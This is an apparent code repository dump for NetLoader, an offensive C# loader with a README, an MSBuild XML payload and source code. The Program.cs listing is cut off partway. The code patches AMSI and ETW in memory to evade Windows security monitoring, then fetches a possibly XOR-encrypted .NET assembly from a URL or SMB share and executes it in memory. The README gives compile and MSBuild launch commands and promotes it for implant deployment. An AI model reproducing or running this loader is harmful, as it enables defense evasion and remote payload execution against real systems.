├── LOLBins
└── NetLoader.xml
├── README.md
└── Source
└── Program.cs
/LOLBins/NetLoader.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
9 |
10 |
11 | IMAGE_EXPORT_DIRECTORY
70 | Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
71 | Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
72 | Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
73 | Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
74 | Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
75 | Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
76 | Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
77 |
78 | // Loop the array of export name RVA's
79 | for (int i = 0; i < NumberOfNames; i++)
80 | {
81 | string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
82 | if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
83 | {
84 | Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
85 | Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
86 | FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
87 | break;
88 | }
89 | }
90 | }
91 | catch
92 | {
93 | // Catch parser failure
94 | throw new InvalidOperationException("Failed to parse module exports.");
95 | }
96 |
97 | if (FunctionPtr == IntPtr.Zero)
98 | {
99 | // Export not found
100 | throw new MissingMethodException(ExportName + ", export not found.");
101 | }
102 | return FunctionPtr;
103 | }
104 | public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false)
105 | {
106 | IntPtr hModule = GetLoadedModuleAddress(DLLName);
107 | if (hModule == IntPtr.Zero)
108 | {
109 | throw new DllNotFoundException(DLLName + ", Dll was not found.");
110 | }
111 |
112 | return GetExportAddress(hModule, FunctionName);
113 | }
114 | public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters)
115 | {
116 | IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName);
117 | return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters);
118 | }
119 | public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters)
120 | {
121 | Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType);
122 | return funcDelegate.DynamicInvoke(Parameters);
123 | }
124 | private static byte[] xorEncDec(byte[] inputData, string keyPhrase)
125 | {
126 | //byte[] keyBytes = Encoding.UTF8.GetBytes(keyPhrase);
127 | byte[] bufferBytes = new byte[inputData.Length];
128 | for (int i = 0; i < inputData.Length; i++)
129 | {
130 | bufferBytes[i] = (byte)(inputData[i] ^ Encoding.UTF8.GetBytes(keyPhrase)[i % Encoding.UTF8.GetBytes(keyPhrase).Length]);
131 | }
132 | return bufferBytes;
133 | }
134 |
135 |
136 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
137 | public delegate IntPtr GetProcAddress(IntPtr UrethralgiaOrc, string HypostomousBuried);
138 |
139 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
140 | public delegate bool VirtualProtect(IntPtr GhostwritingNard, UIntPtr NontabularlyBankshall, uint YohimbinizationUninscribed, out uint ZygosisCoordination);
141 |
142 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
143 | public delegate IntPtr LoadLibrary(string LiodermiaGranulater);
144 |
145 | private static object[] globalArgs = null;
146 |
147 | public static void Main(string[] args)
148 | {
149 |
150 | PatchETW();
151 |
152 | PathAMSI();
153 |
154 | string payloadPathOrUrl = "";
155 | string[] payloadArgs = new string[] { };
156 |
157 | bool base64Enc = false;
158 | bool xorEnc = false;
159 | string xorKey = "";
160 |
161 | int secProTypeHolde = (Convert.ToInt32("384") * Convert.ToInt32("8"));
162 | if (args.Length > 0)
163 | {
164 |
165 | foreach (string argument in args)
166 | {
167 |
168 | if (argument.ToLower() == "--b64" || argument.ToLower() == "-b64")
169 | {
170 | base64Enc = true;
171 | Console.WriteLine("[+] All arguments are Base64 encoded, decoding them on the fly");
172 | }
173 |
174 |
175 | if (argument.ToLower() == "-xor" || argument.ToLower() == "--xor")
176 | {
177 | xorEnc = true;
178 |
179 | int argData = Array.IndexOf(args, argument) + 1;
180 | if (argData < args.Length)
181 | {
182 | string rawArg = args[argData];
183 | if (base64Enc)
184 | xorKey = Encoding.UTF8.GetString(Convert.FromBase64String(rawArg));
185 | else
186 | xorKey = rawArg;
187 | }
188 |
189 | Console.WriteLine("[+] Decrypting XOR encrypted binary using key '{0}'", xorKey);
190 | }
191 |
192 |
193 | if (argument.ToLower() == "-path" || argument.ToLower() == "--path")
194 | {
195 | int argData = Array.IndexOf(args, argument) + 1;
196 | if (argData < args.Length)
197 | {
198 | string rawPayload = args[argData];
199 | if (base64Enc)
200 | payloadPathOrUrl = Encoding.UTF8.GetString(Convert.FromBase64String(rawPayload));
201 | else
202 | payloadPathOrUrl = rawPayload;
203 | }
204 | }
205 |
206 |
207 | if (argument.ToLower() == "-args" || argument.ToLower() == "--args")
208 | {
209 | int binaryArgsIndex = Array.IndexOf(args, argument) + 1;
210 | int nbBinaryArgs = args.Length - binaryArgsIndex;
211 |
212 | payloadArgs = new String[nbBinaryArgs];
213 |
214 |
215 | for (int i = 0; i < nbBinaryArgs; i++)
216 | {
217 | string rawPayloadArgs = args[binaryArgsIndex + i];
218 |
219 | if (base64Enc)
220 | payloadArgs[i] = Encoding.UTF8.GetString(Convert.FromBase64String(rawPayloadArgs));
221 | else
222 | payloadArgs[i] = rawPayloadArgs;
223 | }
224 | }
225 | }
226 |
227 |
228 | if (string.IsNullOrEmpty(payloadPathOrUrl))
229 | {
230 | printHelp();
231 | Environment.Exit(0);
232 | }
233 |
234 |
235 |
236 | TriggerPayload(payloadPathOrUrl, payloadArgs, xorEnc, xorKey, secProTypeHolde);
237 | Environment.Exit(0);
238 |
239 |
240 | }
241 |
242 |
243 |
244 |
245 | }
246 |
247 | private static void PatchETW()
248 | {
249 | IntPtr pEtwEventSend = GetLibraryAddress("ntdll.dll", "EtwEventWrite");
250 | IntPtr pVirtualProtect = GetLibraryAddress("kernel32.dll", "VirtualProtect");
251 |
252 | VirtualProtect fVirtualProtect = (VirtualProtect)Marshal.GetDelegateForFunctionPointer(pVirtualProtect, typeof(VirtualProtect));
253 |
254 | var patch = getETWPayload();
255 | uint oldProtect;
256 |
257 | if (fVirtualProtect(pEtwEventSend, (UIntPtr)patch.Length, 0x40, out oldProtect))
258 | {
259 | Marshal.Copy(patch, 0, pEtwEventSend, patch.Length);
260 | Console.WriteLine("[+] Successfully unhooked ETW!");
261 | }
262 |
263 |
264 | }
265 |
266 | private static string parseStringConsoleInput(string inputData, bool base64Decode)
267 | {
268 | if (base64Decode)
269 | inputData = Encoding.UTF8.GetString(Convert.FromBase64String(inputData));
270 |
271 | if (inputData.Trim().ToLower().Equals("x"))
272 | Environment.Exit(0);
273 |
274 | return inputData;
275 |
276 | }
277 |
278 | private static bool parseBoolConsoleInput(ConsoleKey consoleKey)
279 | {
280 | if (consoleKey == ConsoleKey.X)
281 | Environment.Exit(0);
282 |
283 | return (consoleKey == ConsoleKey.Y);
284 | }
285 |
286 | private static void printHelp()
287 | {
288 |
289 | Console.WriteLine("Usage: ");
290 | Console.WriteLine("Usage: [-b64] [-xor ] -path [-args ]");
291 | Console.WriteLine("\t-b64: Optionnal flag parameter indicating that all other parameters are base64 encoded.");
292 | Console.WriteLine("\t-xor: Optionnal parameter indicating that binary files are XOR encrypted. Must be followed by the XOR decryption key.");
293 | Console.WriteLine("\t-path: Mandatory parameter. Indicates the path, either local or a URL, of the binary to load.");
294 | Console.WriteLine("\t-args: Optionnal parameter used to pass arguments to the loaded binary. Must be followed by all arguments for the binary.");
295 |
296 | }
297 |
298 | private static Assembly loadASM(byte[] byteArray)
299 | {
300 | return Assembly.Load(byteArray);
301 | }
302 |
303 | private static byte[] readLocalFilePath(string filePath, FileMode fileMode)
304 | {
305 | byte[] buffer = null;
306 | using (FileStream fs = new FileStream(filePath, fileMode, FileAccess.Read))
307 | {
308 | buffer = new byte[fs.Length];
309 | fs.Read(buffer, 0, (int)fs.Length);
310 | }
311 | return buffer;
312 |
313 | }
314 | private static IntPtr getAMSILocation()
315 | {
316 | //GetProcAddress
317 | IntPtr pGetProcAddress = GetLibraryAddress("kernel32.dll", "GetProcAddress");
318 | IntPtr pLoadLibrary = GetLibraryAddress("kernel32.dll", "LoadLibraryA");
319 |
320 | GetProcAddress fGetProcAddress = (GetProcAddress)Marshal.GetDelegateForFunctionPointer(pGetProcAddress, typeof(GetProcAddress));
321 | LoadLibrary fLoadLibrary = (LoadLibrary)Marshal.GetDelegateForFunctionPointer(pLoadLibrary, typeof(LoadLibrary));
322 |
323 | return fGetProcAddress(fLoadLibrary("amsi.dll"), "AmsiScanBuffer");
324 | }
325 |
326 | private static bool is64Bit()
327 | {
328 | if (IntPtr.Size == 4)
329 | return false;
330 |
331 | return true;
332 | }
333 |
334 |
335 | private static byte[] getETWPayload()
336 | {
337 | if (!is64Bit())
338 | return Convert.FromBase64String("whQA");
339 | return Convert.FromBase64String("ww==");
340 | }
341 |
342 | private static byte[] getAMSIPayload()
343 | {
344 | if (!is64Bit())
345 | return Convert.FromBase64String("uFcAB4DCGAA=");
346 | return Convert.FromBase64String("uFcAB4DD");
347 | }
348 |
349 | private static Type junkFunction(MethodInfo methodInfo)
350 | {
351 | return methodInfo.ReflectedType;
352 | }
353 | private static object invokeCSharpMethod(MethodInfo methodInfo)
354 | {
355 | if (junkFunction(methodInfo) == methodInfo.ReflectedType)
356 | methodInfo.Invoke(null, globalArgs);
357 | Console.ReadLine();
358 | return globalArgs[0];
359 | }
360 |
361 | private static byte[] downloadURL(string url)
362 | {
363 | HttpWebRequest myRequest = (HttpWebRequest)WebRequest.Create(url);
364 | myRequest.Proxy.Credentials = CredentialCache.DefaultCredentials;
365 | myRequest.Method = "GET";
366 | WebResponse myResponse = myRequest.GetResponse();
367 | MemoryStream ms = new MemoryStream();
368 | myResponse.GetResponseStream().CopyTo(ms);
369 | return ms.ToArray();
370 | }
371 |
372 | public static int setProtocolTLS(int secProt)
373 | {
374 | ServicePointManager.SecurityProtocol = (SecurityProtocolType)secProt;
375 | return secProt;
376 | }
377 | private static MethodInfo getEntryPoint(Assembly asm)
378 | {
379 |
380 | return asm.EntryPoint;
381 | }
382 |
383 | private static void TriggerPayload(string payloadPathOrURL, string[] inputArgs, bool xorEncoded, string xorKey, int setProtType = 0)
384 | {
385 | setProtocolTLS(setProtType);
386 |
387 | if (!string.IsNullOrEmpty(string.Join(" ", inputArgs)))
388 | Console.WriteLine("[+] URL/PATH : " + payloadPathOrURL + " Arguments : " + string.Join(" ", inputArgs));
389 | else
390 | {
391 | Console.WriteLine("[+] URL/PATH : " + payloadPathOrURL + " Arguments : " + string.Join(" ", inputArgs));
392 | }
393 | globalArgs = new object[] { inputArgs };
394 |
395 | if (xorEncoded && payloadPathOrURL.ToLower().StartsWith("http"))
396 | {
397 |
398 | encDeploy(downloadURL(payloadPathOrURL), xorKey);
399 | }
400 | else if (!xorEncoded && payloadPathOrURL.ToLower().StartsWith("http"))
401 | {
402 |
403 | unEncDeploy(downloadURL(payloadPathOrURL));
404 | }
405 | else if (!xorEncoded && !payloadPathOrURL.ToLower().StartsWith("http"))
406 | unEncDeploy(readLocalFilePath(payloadPathOrURL, FileMode.Open));
407 | else
408 | encDeploy(readLocalFilePath(payloadPathOrURL, FileMode.Open), xorKey);
409 |
410 | }
411 |
412 | private static void encDeploy(byte[] data, string xorKey)
413 | {
414 |
415 | invokeCSharpMethod(getEntryPoint(loadASM(xorEncDec(data, xorKey))));
416 |
417 | }
418 |
419 | private static void unEncDeploy(byte[] data)
420 | {
421 |
422 | invokeCSharpMethod(getEntryPoint(loadASM(data)));
423 |
424 | }
425 |
426 | private static IntPtr unProtect(IntPtr amsiLibPtr)
427 | {
428 |
429 | IntPtr pVirtualProtect = GetLibraryAddress("kernel32.dll", "VirtualProtect");
430 |
431 | VirtualProtect fVirtualProtect = (VirtualProtect)Marshal.GetDelegateForFunctionPointer(pVirtualProtect, typeof(VirtualProtect));
432 |
433 | uint newMemSpaceProtection = 0;
434 | if (fVirtualProtect(amsiLibPtr, (UIntPtr)getAMSIPayload().Length, 0x40, out newMemSpaceProtection))
435 | {
436 | return amsiLibPtr;
437 | }
438 | else
439 | {
440 | return (IntPtr)0;
441 | }
442 |
443 | }
444 | private static void PathAMSI()
445 | {
446 |
447 | IntPtr amsiLibPtr = unProtect(getAMSILocation());
448 | if (amsiLibPtr != (IntPtr)0)
449 | {
450 | Marshal.Copy(getAMSIPayload(), 0, amsiLibPtr, getAMSIPayload().Length);
451 | Console.WriteLine("[+] Successfully patched AMSI!");
452 | }
453 | else
454 | {
455 | Console.WriteLine("[!] Patching AMSI FAILED");
456 | }
457 |
458 | }
459 |
460 | }
461 | ]]>
462 |
463 |
464 |
465 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # NetLoader
2 | Loads any C# binary from filepath or url, patching AMSI and unhooks ETW
3 |
4 | ** 01.10.2021 : Non-Obfuscated source code + SharpSploit to 'bypass' userland hooks when patching AMSI and ETW**
5 |
6 | **Looking for binaries/payloads to deploy? Checkout [SharpCollection](https://github.com/Flangvik/SharpCollection)**!.
7 | SharpCollection contains nightly builds of C# offensive tools, fresh from their respective master branches built and released in a CDI fashion using Azure DevOps release pipelines.
8 |
9 | # Compile
10 |
11 | c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:RandomName.exe Program.cs
12 |
13 | # Deploy via LOLBin (MSBuild)
14 |
15 | Payload for MSBuild is in the /LOLBins folder, might push this for varius other LOLBins aswell.
16 | Arguments have to be added into the bottom XML file when NetLoader is deployed using MSBuild
17 |
18 | Adding arguments to the XML payload
19 | public class ClassExample : Task, ITask
20 | {
21 | public override bool Execute()
22 | { //Add your arguments here
23 | SoullikePrincelier.Main(new string[] { "--path", "\\smbshare\Seatbelt.exe" });
24 | return true;
25 | }
26 | }
27 |
28 | For 64 bit:
29 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe NetLoader.xml
30 |
31 | For 32 bit:
32 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe NetLoader.xml
33 |
34 | # Usage
35 | Deploy payload from local path or SMB share (note that NetLoader automatically detects whether the path provided is local or remote)
36 |
37 | PS C:\Users\Clark Kent\Desktop> .\NetLoader.exe --path Seatbelt.exe --args whoami
38 | [!] ~Flangvik , ~Arno0x #NetLoader
39 | [+] Successfully patched AMSI!
40 | [+] URL/PATH : Seatbelt.exe
41 | [+] Arguments : whoami
42 |
43 |
44 | %&&@@@&&
45 | &&&&&&&%%%, #&&@@@@@@%%%%%%###############%
46 | &%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
47 | %%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
48 | #%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
49 | #%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
50 | #####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
51 | #######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
52 | ###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
53 | #####%###################### %%%.. @////(((&%%%%%%%################
54 | &%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
55 | &%%&&&%%%%% v1.0.0 ,(((&%%%%%%%%%%%%%%%%%,
56 | #%%%%##,
57 |
58 |
59 | ERROR: Error running command "whoami"
60 |
61 |
62 | [*] Completed collection in 0,008 seconds
63 |
64 |
65 | Supports base64 inputs for those long strings that would usually break stuff!
66 |
67 | PS C:\Users\Clark Kent\Desktop> .\NetLoader.exe --b64 --path U2VhdGJlbHQuZXhl --args d2hvYW1p
68 | [!] ~Flangvik , ~Arno0x #NetLoader
69 | [+] All arguments are Base64 encoded, decoding them on the fly
70 | [+] Successfully patched AMSI!
71 | [+] URL/PATH : Seatbelt.exe
72 | [+] Arguments : whoami
73 |
74 |
75 | %&&@@@&&
76 | &&&&&&&%%%, #&&@@@@@@%%%%%%###############%
77 | &%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
78 | %%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
79 | #%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
80 | #%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
81 | #####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
82 | #######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
83 | ###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
84 | #####%###################### %%%.. @////(((&%%%%%%%################
85 | &%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
86 | &%%&&&%%%%% v1.0.0 ,(((&%%%%%%%%%%%%%%%%%,
87 | #%%%%##,
88 |
89 |
90 | ERROR: Error running command "whoami"
91 |
92 |
93 | [*] Completed collection in 0,006 seconds
94 |
95 |
96 | # Todo
97 | - [X] Automate the build and release of many of the Sharp Tools so they automagically appear in ~~/Binaries~~ [SharpCollection](https://github.com/Flangvik/SharpCollection) (CDI / Azure DevOps)
98 | - [X] Add support for non-interactive use (input args)
99 | - [X] Add support to run custom modules from your own URL or SMB Share (Great for on-the-fly Implant deployment)
100 | - [X] Add an working MSBuild XML payload for the LOLBins lovers (Myself included)
101 | - [X] Update with credits and links to the github repos that ~~/Binaries~~ [SharpCollection](https://github.com/Flangvik/SharpCollection) are compiled from
102 |
103 | # Credits
104 | [Arno0x](https://twitter.com/Arno0x0x) for the partial rewrite that is now merged into the main repo [see gist](https://gist.github.com/Arno0x/2b223114a726be3c5e7a9cacd25053a2)
105 | [_RastaMouse](https://twitter.com/_RastaMouse/) for the [AMSI bypass](https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass/Program.cs)
106 |
107 |
--------------------------------------------------------------------------------
/Source/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Net;
4 | using System.Text;
5 | using System.Reflection;
6 | using System.Runtime.InteropServices;
7 | using System.Linq;
8 | using System.Threading;
9 | using System.Diagnostics;
10 |
11 |
12 | /* Uncomment this when deploying from MSBuild payload
13 |
14 | using Microsoft.Build.Framework;
15 | using Microsoft.Build.Utilities;
16 |
17 | //This is for MSBuild later
18 | public class ClassExample : Task, ITask
19 | {
20 | public override bool Execute()
21 | {
22 | NetLoader.Main(new string[] { });
23 | return true;
24 | }
25 | }
26 | */
27 |
28 | public class NetLoader
29 | {
30 |
31 | public static IntPtr GetLoadedModuleAddress(string DLLName)
32 | {
33 | ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
34 | foreach (ProcessModule Mod in ProcModules)
35 | {
36 | if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))
37 | {
38 | return Mod.BaseAddress;
39 | }
40 | }
41 | return IntPtr.Zero;
42 | }
43 | public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
44 | {
45 | IntPtr FunctionPtr = IntPtr.Zero;
46 | try
47 | {
48 | // Traverse the PE header in memory
49 | Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
50 | Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
51 | Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
52 | Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
53 | Int64 pExport = 0;
54 | if (Magic == 0x010b)
55 | {
56 | pExport = OptHeader + 0x60;
57 | }
58 | else
59 | {
60 | pExport = OptHeader + 0x70;
61 | }
62 |
63 | // Read -> IMAGE_EXPORT_DIRECTORY
64 | Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
65 | Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
66 | Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
67 | Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
68 | Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
69 | Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
70 | Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
71 |
72 | // Loop the array of export name RVA's
73 | for (int i = 0; i < NumberOfNames; i++)
74 | {
75 | string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
76 | if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
77 | {
78 | Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
79 | Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
80 | FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
81 | break;
82 | }
83 | }
84 | }
85 | catch
86 | {
87 | // Catch parser failure
88 | throw new InvalidOperationException("Failed to parse module exports.");
89 | }
90 |
91 | if (FunctionPtr == IntPtr.Zero)
92 | {
93 | // Export not found
94 | throw new MissingMethodException(ExportName + ", export not found.");
95 | }
96 | return FunctionPtr;
97 | }
98 | public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false)
99 | {
100 | IntPtr hModule = GetLoadedModuleAddress(DLLName);
101 | if (hModule == IntPtr.Zero)
102 | {
103 | throw new DllNotFoundException(DLLName + ", Dll was not found.");
104 | }
105 |
106 | return GetExportAddress(hModule, FunctionName);
107 | }
108 | public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters)
109 | {
110 | IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName);
111 | return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters);
112 | }
113 | public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters)
114 | {
115 | Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType);
116 | return funcDelegate.DynamicInvoke(Parameters);
117 | }
118 | private static byte[] xorEncDec(byte[] inputData, string keyPhrase)
119 | {
120 | //byte[] keyBytes = Encoding.UTF8.GetBytes(keyPhrase);
121 | byte[] bufferBytes = new byte[inputData.Length];
122 | for (int i = 0; i < inputData.Length; i++)
123 | {
124 | bufferBytes[i] = (byte)(inputData[i] ^ Encoding.UTF8.GetBytes(keyPhrase)[i % Encoding.UTF8.GetBytes(keyPhrase).Length]);
125 | }
126 | return bufferBytes;
127 | }
128 |
129 |
130 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
131 | public delegate IntPtr GetProcAddress(IntPtr UrethralgiaOrc, string HypostomousBuried);
132 |
133 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
134 | public delegate bool VirtualProtect(IntPtr GhostwritingNard, UIntPtr NontabularlyBankshall, uint YohimbinizationUninscribed, out uint ZygosisCoordination);
135 |
136 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
137 | public delegate IntPtr LoadLibrary(string LiodermiaGranulater);
138 |
139 | private static object[] globalArgs = null;
140 |
141 | public static void Main(string[] args)
142 | {
143 |
144 | PatchETW();
145 |
146 | PathAMSI();
147 |
148 | string payloadPathOrUrl = "";
149 | string[] payloadArgs = new string[] { };
150 |
151 | bool base64Enc = false;
152 | bool xorEnc = false;
153 | string xorKey = "";
154 |
155 | int secProTypeHolde = (Convert.ToInt32("384") * Convert.ToInt32("8"));
156 | if (args.Length > 0)
157 | {
158 |
159 | foreach (string argument in args)
160 | {
161 |
162 | if (argument.ToLower() == "--b64" || argument.ToLower() == "-b64")
163 | {
164 | base64Enc = true;
165 | Console.WriteLine("[+] All arguments are Base64 encoded, decoding them on the fly");
166 | }
167 |
168 |
169 | if (argument.ToLower() == "-xor" || argument.ToLower() == "--xor")
170 | {
171 | xorEnc = true;
172 |
173 | int argData = Array.IndexOf(args, argument) + 1;
174 | if (argData < args.Length)
175 | {
176 | string rawArg = args[argData];
177 | if (base64Enc)
178 | xorKey = Encoding.UTF8.GetString(Convert.FromBase64String(rawArg));
179 | else
180 | xorKey = rawArg;
181 | }
182 |
183 | Console.WriteLine("[+] Decrypting XOR encrypted binary using key '{0}'", xorKey);
184 | }
185 |
186 |
187 | if (argument.ToLower() == "-path" || argument.ToLower() == "--path")
188 | {
189 | int argData = Array.IndexOf(args, argument) + 1;
190 | if (argData < args.Length)
191 | {
192 | string rawPayload = args[argData];
193 | if (base64Enc)
194 | payloadPathOrUrl = Encoding.UTF8.GetString(Convert.FromBase64String(rawPayload));
195 | else
196 | payloadPathOrUrl = rawPayload;
197 | }
198 | }
199 |
200 |
201 | if (argument.ToLower() == "-args" || argument.ToLower() == "--args")
202 | {
203 | int binaryArgsIndex = Array.IndexOf(args, argument) + 1;
204 | int nbBinaryArgs = args.Length - binaryArgsIndex;
205 |
206 | payloadArgs = new String[nbBinaryArgs];
207 |
208 |
209 | for (int i = 0; i < nbBinaryArgs; i++)
210 | {
211 | string rawPayloadArgs = args[binaryArgsIndex + i];
212 |
213 | if (base64Enc)
214 | payloadArgs[i] = Encoding.UTF8.GetString(Convert.FromBase64String(rawPayloadArgs));
215 | else
216 | payloadArgs[i] = rawPayloadArgs;
217 | }
218 | }
219 | }
220 |
221 |
222 | if (string.IsNullOrEmpty(payloadPathOrUrl))
223 | {
224 | printHelp();
225 | Environment.Exit(0);
226 | }
227 |
228 |
229 |
230 | TriggerPayload(payloadPathOrUrl, payloadArgs, xorEnc, xorKey, secProTypeHolde);
231 | Environment.Exit(0);
232 |
233 |
234 | }
235 |
236 |
237 |
238 |
239 | }
240 |
241 | private static void PatchETW()
242 | {
243 | IntPtr pEtwEventSend = GetLibraryAddress("ntdll.dll", "EtwEventWrite");
244 | IntPtr pVirtualProtect = GetLibraryAddress("kernel32.dll", "VirtualProtect");
245 |
246 | VirtualProtect fVirtualProtect = (VirtualProtect)Marshal.GetDelegateForFunctionPointer(pVirtualProtect, typeof(VirtualProtect));
247 |
248 | var patch = getETWPayload();
249 | uint oldProtect;
250 |
251 | if (fVirtualProtect(pEtwEventSend, (UIntPtr)patch.Length, 0x40, out oldProtect))
252 | {
253 | Marshal.Copy(patch, 0, pEtwEventSend, patch.Length);
254 | Console.WriteLine("[+] Successfully unhooked ETW!");
255 | }
256 |
257 |
258 | }
259 |
260 | private static string parseStringConsoleInput(string inputData, bool base64Decode)
261 | {
262 | if (base64Decode)
263 | inputData = Encoding.UTF8.GetString(Convert.FromBase64String(inputData));
264 |
265 | if (inputData.Trim().ToLower().Equals("x"))
266 | Environment.Exit(0);
267 |
268 | return inputData;
269 |
270 | }
271 |
272 | private static bool parseBoolConsoleInput(ConsoleKey consoleKey)
273 | {
274 | if (consoleKey == ConsoleKey.X)
275 | Environment.Exit(0);
276 |
277 | return (consoleKey == ConsoleKey.Y);
278 | }
279 |
280 | private static void printHelp()
281 | {
282 |
283 | Console.WriteLine("Usage: ");
284 | Console.WriteLine("Usage: [-b64] [-xor ] -path [-args ]");
285 | Console.WriteLine("\t-b64: Optionnal flag parameter indicating that all other parameters are base64 encoded.");
286 | Console.WriteLine("\t-xor: Optionnal parameter indicating that binary files are XOR encrypted. Must be followed by the XOR decryption key.");
287 | Console.WriteLine("\t-path: Mandatory parameter. Indicates the path, either local or a URL, of the binary to load.");
288 | Console.WriteLine("\t-args: Optionnal parameter used to pass arguments to the loaded binary. Must be followed by all arguments for the binary.");
289 |
290 | }
291 |
292 | private static Assembly loadASM(byte[] byteArray)
293 | {
294 | return Assembly.Load(byteArray);
295 | }
296 |
297 | private static byte[] readLocalFilePath(string filePath, FileMode fileMode)
298 | {
299 | byte[] buffer = null;
300 | using (FileStream fs = new FileStream(filePath, fileMode, FileAccess.Read))
301 | {
302 | buffer = new byte[fs.Length];
303 | fs.Read(buffer, 0, (int)fs.Length);
304 | }
305 | return buffer;
306 |
307 | }
308 | private static IntPtr getAMSILocation()
309 | {
310 | //GetProcAddress
